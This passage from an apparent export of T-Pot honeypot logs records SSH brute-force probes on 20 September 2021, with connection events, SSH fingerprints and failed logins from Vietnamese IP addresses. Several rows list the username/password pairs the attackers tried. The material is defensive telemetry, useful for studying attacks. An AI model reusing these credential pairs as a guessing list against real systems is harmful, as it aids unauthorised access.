"t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
22975	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:07:23.220902+03	2021-09-20 14:15:06.909471+03	{"_id": "lgbjAnwBvYTbRNuEnwqA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 36684, "dest_port": 22, "timestamp": "2021-09-20T11:07:23.220902", "@timestamp": "2021-09-20T11:07:23.220Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
22976	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:23.719265+03	2021-09-20 14:15:06.911503+03	{"_id": "lwbjAnwBvYTbRNuEnwqA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.105.211.46", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 57518, "timestamp": "2021-09-20T11:07:23.719265", "@timestamp": "2021-09-20T11:07:23.719Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22977	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:25.512161+03	2021-09-20 14:15:06.9125+03	{"_id": "8QbjAnwBvYTbRNuEpwpU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:49398 (192.168.176.2:22) [session: 65f8e946b8bd]", "session": "65f8e946b8bd", "@version": "1", "protocol": "ssh", "src_port": 49398, "dest_port": 22, "timestamp": "2021-09-20T11:07:25.512161Z", "@timestamp": "2021-09-20T11:07:25.512Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
22978	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:25.337008+03	2021-09-20 14:15:06.913502+03	{"_id": "7gbjAnwBvYTbRNuEpwpU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "0d1694153109", "@version": "1", "duration": 2.6884965896606445, "timestamp": "2021-09-20T11:07:25.337008Z", "@timestamp": "2021-09-20T11:07:25.337Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
22979	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:26.071156+03	2021-09-20 14:15:06.9155+03	{"_id": "8AbjAnwBvYTbRNuEpwpU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [informix/informix] failed", "session": "b2026e4be213", "@version": "1", "password": "informix", "username": "informix", "timestamp": "2021-09-20T11:07:26.071156Z", "@timestamp": "2021-09-20T11:07:26.071Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
35487	192.168.20.103	109.199.241.180	Suricata	2021-09-20 15:08:52.00482+03	2021-09-20 15:15:03.325691+03	{"_id": "SgYbA3wBvYTbRNuE51zU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.103", "stream": 0, "dest_ip": "224.0.0.252", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T12:08:52.004820Z", "@timestamp": "2021-09-20T12:08:52.004Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
22980	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:26.579463+03	2021-09-20 14:15:06.916514+03	{"_id": "GgbjAnwBvYTbRNuEqwtB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:33434 (192.168.176.2:22) [session: fa71a18430c6]", "session": "fa71a18430c6", "@version": "1", "protocol": "ssh", "src_port": 33434, "dest_port": 22, "timestamp": "2021-09-20T11:07:26.579463Z", "@timestamp": "2021-09-20T11:07:26.579Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
22981	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:23.632775+03	2021-09-20 14:15:06.917504+03	{"_id": "jQbjAnwBvYTbRNuEnwp_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 7228, "timestamp": "2021-09-20T11:07:23.632775", "@timestamp": "2021-09-20T11:07:23.632Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22982	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:23.419989+03	2021-09-20 14:15:06.9195+03	{"_id": "nwbjAnwBvYTbRNuEnwqA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [ncuser/ncuser] failed", "session": "24b8d0efb722", "@version": "1", "password": "ncuser", "username": "ncuser", "timestamp": "2021-09-20T11:07:23.419989Z", "@timestamp": "2021-09-20T11:07:23.419Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
22983	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:23.55091+03	2021-09-20 14:15:06.921499+03	{"_id": "jwbjAnwBvYTbRNuEnwp_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [root/q1w2e3r4] failed", "session": "bb4ff764e05a", "@version": "1", "password": "q1w2e3r4", "username": "root", "timestamp": "2021-09-20T11:07:23.550910Z", "@timestamp": "2021-09-20T11:07:23.550Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
22984	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:07:23.717172+03	2021-09-20 14:15:06.9225+03	{"_id": "mQbjAnwBvYTbRNuEnwqA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "54b867fdbce6", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:23.717172Z", "@timestamp": "2021-09-20T11:07:23.717Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
22985	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:24.069814+03	2021-09-20 14:15:06.9235+03	{"_id": "mgbjAnwBvYTbRNuEnwqA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [madrid/madrid] failed", "session": "c7c7fbdf7fe8", "@version": "1", "password": "madrid", "username": "madrid", "timestamp": "2021-09-20T11:07:24.069814Z", "@timestamp": "2021-09-20T11:07:24.069Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
22987	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:25.093769+03	2021-09-20 14:15:06.92547+03	{"_id": "rAbjAnwBvYTbRNuEowps", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:44730 (192.168.176.2:22) [session: 3830633aea8a]", "session": "3830633aea8a", "@version": "1", "protocol": "ssh", "src_port": 44730, "dest_port": 22, "timestamp": "2021-09-20T11:07:25.093769Z", "@timestamp": "2021-09-20T11:07:25.093Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
22988	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:24.586168+03	2021-09-20 14:15:06.927497+03	{"_id": "zQbjAnwBvYTbRNuEowpv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:52536 (192.168.176.2:22) [session: 5ee0cbf99b22]", "session": "5ee0cbf99b22", "@version": "1", "protocol": "ssh", "src_port": 52536, "dest_port": 22, "timestamp": "2021-09-20T11:07:24.586168Z", "@timestamp": "2021-09-20T11:07:24.586Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
22989	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:25.081628+03	2021-09-20 14:15:06.928472+03	{"_id": "0wbjAnwBvYTbRNuEowpv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 41524, "timestamp": "2021-09-20T11:07:25.081628", "@timestamp": "2021-09-20T11:07:25.081Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22990	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:24.896873+03	2021-09-20 14:15:06.9295+03	{"_id": "1QbjAnwBvYTbRNuEowpv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "b2026e4be213", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:24.896873Z", "@timestamp": "2021-09-20T11:07:24.896Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
22991	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:24.529432+03	2021-09-20 14:15:06.930499+03	{"_id": "ygbjAnwBvYTbRNuEowps", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "3a9028970e07", "@version": "1", "duration": 2.4965734481811523, "timestamp": "2021-09-20T11:07:24.529432Z", "@timestamp": "2021-09-20T11:07:24.529Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
22992	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:07:24.81101+03	2021-09-20 14:15:06.9315+03	{"_id": "zAbjAnwBvYTbRNuEowps", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "46d0f8feaeba", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:24.811010Z", "@timestamp": "2021-09-20T11:07:24.811Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
